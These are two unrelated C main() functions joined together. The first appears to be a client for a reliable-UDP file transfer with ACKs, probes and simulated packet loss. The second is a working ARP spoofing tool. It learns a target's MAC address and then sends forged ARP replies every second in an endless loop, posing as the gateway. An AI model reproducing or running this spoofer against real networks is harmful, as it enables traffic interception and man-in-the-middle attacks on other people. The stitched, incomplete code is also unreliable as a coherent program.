int main(int argc, char **argv) { int n,sockfd, on=1,i,j,maxfdp,optval=1; char recvline[LINE_MAX], in_packet[PACKET_LEN]; client_config_t config; int num_ifi = 0; pthread_t tid; thread_arg* arg; bool done = FALSE, is_probe = FALSE, is_error = FALSE; unsigned int ack_seq, seq, timestamp; unsigned short curr_win; circ_buffer_t rcv_buffer; ifi_t *ifi_array[IFI_MAX]; read_client_config("client.in", &config); print_client_config(&config); num_ifi = get_ifi(ifi_array); print_ifi(ifi_array, num_ifi); srand(config.seed); init_circular_buffer(&rcv_buffer, config.window_size); rtt_init(&rttinfo); if (connection_setup(&sockfd, ifi_array, num_ifi, &rcv_buffer, &config) < 0) err_sys("[Error] Connection Setup Error, Terminating..\n"); /* TODO: Recv ACK and connect to the new port */ arg = (thread_arg*)calloc(1, sizeof(thread_arg)); arg->rcv_buf = &rcv_buffer; arg->config = &config; arg->sockfd = sockfd; Pthread_create(&tid, NULL, &consumer_thread, arg); /* Below is the Producer Logic which reads from the socket and fills * up the receive Buffer. */ while (!done) { if ((n = read(sockfd, in_packet, PACKET_LEN)) < 0) { if (errno == EINTR) continue; else err_sys("[Error] Unknown Read Error"); } packet_info_t *pkt_info = get_packet_info(in_packet, n); if (!IS_DATA(pkt_info) && !(is_probe = IS_PROBE(pkt_info)) && !(is_error = IS_ERR(pkt_info))) { free_pkt_info(pkt_info); continue; } if (consume_random_packet(pkt_info, config.prob_loss, TRUE)) { free_pkt_info(pkt_info); continue; } if(IS_EOF(pkt_info) || is_error) done = TRUE; Pthread_mutex_lock(&buf_mutex); /* Special Handling for Probes & Errors, send an ACK, don't store in buffer */ if(!is_probe && !is_error) { write_to_buffer(&rcv_buffer , pkt_info); } /* Save off these values as we are releasing the lock below */ curr_win = window_size(&rcv_buffer); ack_seq = NEXT_ACK(&rcv_buffer); seq = pkt_info->seq; timestamp = pkt_info->timestamp; Pthread_mutex_unlock(&buf_mutex); if(is_probe) printf("[Info] Persist Timer Response [Ack:%u] [Window Size:%hu]\n", ack_seq, curr_win); else printf("[Info] Received [Seq: %u] Responding with [Ack:%u] [Window Size:%hu]\n", seq, ack_seq, curr_win); send_ack(sockfd, curr_win, seq, ack_seq, timestamp, config.prob_loss); } pthread_exit(NULL); }
int main(int argc, char *argv[]) { if(argc != 3){ fprintf (stderr, "usage: %s <interface> <ip_target>\n", argv[0]); exit(0); } // check if root if (geteuid() || getuid()) { printf("ERROR: You must be root to use this utility\n"); exit(1); } int sfd, len; u_char *mac; char recv_buf[60]; struct in_addr ip_addr; struct sockaddr_ll sl; struct arp_pkt{ struct ether_header eh; struct ether_arp ea; u_char padding[18]; }arp; /*open sock_raw*/ if((sfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) < 0){ perror("socket"); exit(2); } /*set_promiscuous mode*/ set_promiscuous(sfd, argv[1]); /*get my ip and mac*/ mac = (char *)malloc(MAC_LEN); if(get_ifi(sfd, argv[1], mac, &ip_addr)){ close(sfd); exit(0); } memset(&arp, 0, sizeof(arp)); /* 填寫以太網頭部*/ memcpy(arp.eh.ether_dhost, MAC_BCAST_ADDR, MAC_LEN); memcpy(arp.eh.ether_shost, mac, MAC_LEN); arp.eh.ether_type = htons(ETHERTYPE_ARP); /* 填寫arp數據 */ arp.ea.arp_hrd = htons(ARPHRD_ETHER); arp.ea.arp_pro = htons(ETHERTYPE_IP); arp.ea.arp_hln = MAC_LEN; arp.ea.arp_pln = IP_LEN; arp.ea.arp_op = htons(ARPOP_REQUEST); memcpy(arp.ea.arp_sha, mac, MAC_LEN); memcpy(arp.ea.arp_spa, &ip_addr, IP_LEN); memset(&arp.ea.arp_tha, 0, MAC_LEN); inet_aton(argv[2], arp.ea.arp_tpa); memset(&arp.padding, 0, sizeof(arp.padding)); sl.sll_family = PF_PACKET; sl.sll_ifindex = if_nametoindex(argv[1]); if((len = sendto(sfd, &arp, sizeof(arp), 0, (struct sockaddr*)&sl, sizeof(sl))) <= 0 ){ perror("sendto request"); close(sfd); exit(1); } printf("Broadcast arp request of %s, %d bytes be sent\n", argv[2], len); memset(recv_buf, 0, sizeof(recv_buf)); if((len = recvfrom(sfd, recv_buf, sizeof(arp), 0, NULL, 0)) <= 0 ){ perror("recvfrom reply"); close(sfd); exit(1); } printf("Recv arp reply of %s, %d bytes be sent\n", argv[2], len); /*check arp is reply and from ip(argv[2])*/ if( ntohs(*(__be16 *)(recv_buf + 20))==2 && !memcmp(arp.ea.arp_tpa, recv_buf + 28, 4) ){ memcpy(arp.eh.ether_dhost, (u_char *)(recv_buf + 22), MAC_LEN); arp.ea.arp_op = htons(ARPOP_REPLY); inet_aton(GATEWAY, arp.ea.arp_spa); memcpy(arp.ea.arp_tha, (u_char *)(recv_buf + 22), MAC_LEN); while(1){ if((len = sendto(sfd, &arp, sizeof(arp), 0, (struct sockaddr*)&sl, sizeof(sl))) <= 0 ){ perror("sendto request"); close(sfd); exit(1); } printf("Send arp spoofing to %s, %d bytes be sent\n", argv[2], len); sleep(1); } } free(mac); close(sfd); return 0; }